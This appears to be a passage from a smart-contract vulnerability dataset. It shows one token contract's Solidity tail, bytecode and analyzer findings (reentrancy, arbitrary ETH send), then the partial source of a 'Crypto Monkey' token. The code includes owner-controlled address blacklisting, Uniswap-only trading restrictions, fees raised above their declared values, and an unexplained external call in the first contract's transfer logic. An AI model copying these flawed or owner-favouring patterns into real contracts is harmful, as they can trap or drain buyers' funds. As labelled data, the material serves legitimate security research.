require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280601181526020017f416d6572696361204d616b6573204d4d58000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b6000678ac7230489e80000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4d4d580000000000000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b600080600060075490506000678ac7230489e80000905061194f678ac7230489e8000060075461170690919063ffffffff16565b82101561196d57600754678ac7230489e80000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204675fab2035548b8db572034e0e41fb6b4ca9db8b830b4b2c021300f40fa3f6c64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,357 |
0xb10c09073617df421dbe038eb6d7ceedb8bb5d3f | // Crypto Monkey ($CMonkey)
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CryptoMonkey is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Crypto Monkey";
string private constant _symbol = "CMonkey \xF0\x9F\x90\xB5";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 2;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _cooldownSeconds = 30;
uint256 private _launchTime;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool isEnabled) external onlyOwner() {
cooldownEnabled = isEnabled;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
if (block.timestamp < _launchTime + 3 minutes) {
require(cooldown[to] < block.timestamp);
require(amount <= _maxTxAmount);
cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function addLiquidityETH() external onlyOwner() {
require(!tradingOpen, "Trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_taxFee = 1;
_teamFee = 10;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function manualSwap() external {
require(_msgSender() == _teamAddress);
